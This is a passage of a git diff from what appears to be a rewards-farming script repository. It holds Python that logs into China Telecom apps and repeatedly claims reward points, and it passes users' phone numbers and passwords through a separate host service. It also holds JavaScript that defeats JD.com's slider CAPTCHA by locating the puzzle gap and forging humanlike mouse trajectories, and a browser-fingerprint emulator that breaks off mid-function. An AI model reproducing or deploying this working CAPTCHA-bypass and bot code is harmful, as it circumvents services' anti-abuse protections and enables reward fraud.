get_ticket(mobile, password, msg): + login_body = requests.get(url="{}/telecom/getUserLoginNormal".format(host), + params={"mobile": mobile, "password": password}).json() + login_ret = requests.post(url="https://appgologin.189.cn:9031/login/client/userLoginNormal", + json=login_body, + headers=app_headers).json() + if login_ret['responseData']['resultCode'] != '0000': + msg.append("登录失败, " + login_ret['responseData']['resultDesc']) + print("登录失败, " + login_ret['responseData']['resultDesc']) + return '' + msg.append('登录成功') + print('登录成功') + token = login_ret['responseData']['data']['loginSuccessResult']['token'] + user_id = login_ret['responseData']['data']['loginSuccessResult']['userId'] + + ticket_body = requests.get(url="{}/telecom/getTicket".format(host), + params={"mobile": mobile, "token": token, "userId": user_id}).text + ticket_ret = requests.post(url="https://appgo.189.cn:9031/map/clientXML", + data=ticket_body, + headers={"Content-Type":"text/xml", **app_headers}).text + collection = xmldom.parseString(ticket_ret).documentElement + ticket = collection.getElementsByTagName("Ticket")[0].childNodes[0].data + return requests.get(url="{}/telecom/decryptTicket".format(host), params={"ticket": ticket}).text + + +def xbk_video(ticket, mobile, msg): + msg.append(mobile + " 开始执行星播客视频任务...") + print(mobile + " 开始执行星播客视频任务...") + h5_headers = get_h5_headers(mobile) + res = requests.get(url="https://xbk.189.cn/xbkapi/api/auth/jump?userID="+ticket+"&version=$version$&type=newHome&tab=1&l=renwu",allow_redirects=False) + location = urllib.parse.unquote(res.headers['location']) + usercode = re.search(r'usercode=(.+?)&', location).group(1) + token_ret = requests.post(url="https://xbk.189.cn/xbkapi/api/auth/userinfo/codeToken", json={"usercode": usercode}, headers=h5_headers).json() + token = token_ret['data']['token'] + xbk_headers={"authorization": "Bearer " + token, **h5_headers} + # 获取视频列表 + video_ret = requests.get(url="https://xbk.189.cn/xbkapi/lteration/index/recommend/floorRecommend?provinceCode=18&p=1", headers=xbk_headers).json() + article_id = video_ret['data'][0]['id'] + # 播放 + requests.post(url="https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchVideo", json={"articleId": article_id}, headers=xbk_headers) + # 领取豆 + while True: + ret = requests.post(url="https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchVideo", json={"articleId": article_id}, headers=xbk_headers).json() + if ret['code'] == 0: + msg.append("成功领取 5 豆") + print("成功领取 5 豆") + else: + msg.append(ret['msg']) + print(ret['msg']) + break + # 等待15s + time.sleep(16) + + +def xbk_live(ticket, mobile, msg): + msg.append(mobile + " 开始执行星播客直播任务...") + print(mobile + " 开始执行星播客直播任务...") + h5_headers = get_h5_headers(mobile) + res = requests.get(url="https://xbk.189.cn/xbkapi/api/auth/jump?userID="+ticket+"&version=$version$&type=room&tab=1&l=renwu",allow_redirects=False) + location = urllib.parse.unquote(res.headers['location']) + usercode = re.search(r'usercode=(.+?)&', location).group(1) + live_id = re.search(r'liveId=(.+?)&', location).group(1) + period = re.search(r'period=(.+?)&', location).group(1) + + token_ret = requests.post(url="https://xbk.189.cn/xbkapi/api/auth/userinfo/codeToken", json={"usercode": usercode}, headers=h5_headers).json() + token = token_ret['data']['token'] + xbk_headers={"authorization": "Bearer " + token, **h5_headers} + + data = {"liveId": live_id, "period": period} + # 领取豆 + while True: + init_ret = requests.post(url="https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLiveInit", json=data, headers=xbk_headers).json() + key = init_ret['data'] + #等待15秒 + time.sleep(16) + watch_ret = requests.post(url="https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLive", json={**data, "key": key}, headers=xbk_headers).json() + if watch_ret['code'] == 0: + msg.append("成功领取 5 豆") + print("成功领取 5 豆") + else: + msg.append(watch_ret['msg']) + print(watch_ret['msg']) + break + + +def share_to_get_coin(ticket, mobile, msg): + msg.append(mobile + " 开始执行分享得豆任务...") + print(mobile + " 开始执行分享得豆任务...") + h5_headers = get_h5_headers(mobile) + data = "mpId=goldcoin&ticket="+ticket+"&srcSysID=35000&sceneSources=3&version=9.2.0" + login_ret = requests.post(url="https://dxhd.189.cn:7081/actcenter/v1/goldcoinuser/login.do", params=data, headers=h5_headers).json() + session = login_ret['module']['session'] + data = "activityId=telecomrecommend01&session=" + session + ret = requests.post(url="https://dxhd.189.cn:7081/actcenter/v1/goldcoinuser/shareToGetCoin.do", params=data, headers=h5_headers).json() + if ret['success']: + msg.append('获得 20 豆') + print('获得 20 豆') + else: + msg.append('今日已分享') + print('今日已分享') + + +def main_handler(event, context): + l = [] + for config in config_list: + p = threading.Thread(target=telecom_task, args=(config,)) + l.append(p) + p.start() + for i in l: + i.join() + content = format_msg() + send('电信签到任务', content) + print(content) + return content + + +if __name__ == '__main__': + main_handler("", "") diff --git a/utils/.DS_Store b/utils/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..ff78b20aac0803a1a0b9cd117961fbd972197259 GIT binary patch literal 6148 zcmeHK%Sr<=6g|-{DsH-TnJ;kg4~B6>1d&3~txnsiwrVT$Sh$-{_uQK(7RRj&as$b^ z?<5B%nE-HEyF3FX0LJWsPK2H&=3du93>I`+V~t0gVuSjv=_xcsldSy+3+%AP3g6a0 zzi#WMqBp|~@2JtB#48fqG4=&5<&xF}ISTp;O1IQYRBA0)tD@}+Q=Aj0)OKX1@220#)l^V~~SF~?6a;+;%eqH5FTxHK5hDf)q$rvyOi~(a{01WWXmNq^P zXrnP;3>X7n49NN5*#*;xT|hlLIOr3AIHFk_WqC_Tj*pl|>;lrm=0Yklq`LUTa3P&` zALG)9UBHkIr!%uoocZ(d;&gV}y@tc30c|t}jDdXy4ud+8`~QNUOz$IqKgBd-z!>;v z47gD~%QJ2&-mO2jCwHx9e_)p;ah(Wkl=prDsK_~TqR!y=A~P setTimeout(resolve, timeout)); +} + +const canvas = createCanvas(); +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; +class PuzzleRecognizer { + constructor(bg, patch, y) { + const imgBg = new Image(); + const imgPatch = new Image(); + imgBg.src = bg; + imgPatch.src = patch; + this.bg = imgBg; + this.patch = imgPatch; + this.y = y; + this.w = imgBg.naturalWidth; + this.h = imgBg.naturalHeight; + this.ctx = canvas.getContext('2d'); + } + + run() { + const { ctx, w, h } = this; + canvas.width = w; + canvas.height= h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(this.bg, 0, 0, w, h); + return this.recognize(); + } + + recognize() { + const { ctx, w: width } = this; + const { naturalHeight, naturalWidth } = this.patch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2*4; i < len; i++) { + const left = (lumas[i] + lumas[i+1]) / n; + const right = (lumas[i+2] + lumas[i+3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi+1]) / n; + const mRigth = (lumas[mi+2] + lumas[mi+3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i+2,margin+i+2); + const median = pieces.sort((x1,x2)=>x1-x2)[20]; + const avg = Math.avg(pieces); + if (median > left || median > mRigth) return; + if (avg > 100) return; + return i+n-radius; + } + } + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.c = {}; + } + + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + await sleep(pos[pos.length-1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', { d, ...this.data }); + + if (result.message === 'success') { + this.c = result; + console.log(result); + } else { + console.count(JSON.stringify(result)); + await sleep(300); + await this.run(); + } + } + + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', { e: '' }); + const { bg, patch, y } = data; + const uri = 'data:image/png;base64,'; + const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const puzzleX = re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count ++; + if (i % 50 === 0) { + console.log('%f\%', (i/n)*100); + } + } + + console.log('successful: %f\%', (count/n)*100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = { callback: fnId }; + const query = new URLSearchParams({ ...DATA, ...extraData, ...data }).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36', + }; + const req = http.get(url, { headers }, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + function prefixInteger (a, b) { + return (Array(b).join(0) + a).slice(-b) + } + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 60; +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random()*20+20, 10); + this.y = parseInt(Math.random()*80+80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random()*2-1, 10); + + this.STEP = parseInt(Math.random()*6+5, 10); + this.DURATION = parseInt(Math.random()*7+14, 10)*100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + //console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x-parseInt(Math.random()*6, 10), this.y+parseInt(Math.random()*11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60+Math.random()*100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2]+reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1/i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n*(i+1)); + const currX = parseInt((Math.random()*30-15)+x, 10); + const currY = parseInt(Math.random()*7-3, 10); + const currDuration = parseInt((Math.random()*0.4+0.8)*duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random()*8-3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({ x, y, duration }) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random()*16-4, 10); + + movedX += perX + Math.random()*2-1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +async function getResult(){ + let aaa = new JDJRValidator(); + await aaa.run(); + return `&validate=${aaa.c['validate']}`; +} + +PuzzleRecognizer.getResult = getResult; +module.exports = PuzzleRecognizer; + +// new JDJRValidator().report(1000); +//console.log(getCoordinate(new MousePosFaker(100).run())+'1111'); diff --git a/utils/JDJRValidator_Pure.js b/utils/JDJRValidator_Pure.js new file mode 100644 index 0000000..88fc307 --- /dev/null +++ b/utils/JDJRValidator_Pure.js @@ -0,0 +1,553 @@ +/* + 由于 canvas 依赖系统底层需要编译且预编译包在 github releases 上,改用另一个纯 js 解码图片。若想继续使用 canvas 可调用 runWithCanvas 。 + + 添加 injectToRequest 用以快速修复需验证的请求。eg: $.get=injectToRequest($.get.bind($)) +*/ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + try { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + } catch (e) { + console.info(e) + } + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + try { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } catch (e) { + console.info(e) + } + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = '61.49.99.122'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + } + + async run(scene) { + try { + const tryRecognize = async () => { + const x = await this.recognize(scene); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.count("验证失败"); + // console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(scene); + } + } catch (e) { + console.info(e) + } + } + + async recognize(scene) { + try { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } catch (e) { + console.info(e) + } + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA, ...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 5; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +// new JDJRValidator().run(); +// new JDJRValidator().report(1000); +// console.log(getCoordinate(new MousePosFaker(100).run())); + +function injectToRequest2(fn, scene = 'cww') { + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + try { + if (err) { + console.error('验证请求失败.'); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + if (res) { + opts.url += `&validate=${res.validate}`; + } + fn(opts, cb); + } else { + cb(err, resp, data); + } + } catch (e) { + console.info(e) + } + }); + }; +} + +async function injectToRequest(scene = 'cww') { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + return `&validate=${res.validate}` +} + +module.exports = { + sleep, + injectToRequest, + injectToRequest2 +} diff --git a/utils/JDSignValidator.js b/utils/JDSignValidator.js new file mode 100644 index 0000000..a427a61 --- /dev/null +++ b/utils/JDSignValidator.js @@ -0,0 +1,2080 @@ +const UA = require('../USER_AGENTS.js').USER_AGENT; + +const navigator = { + userAgent: UA, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, 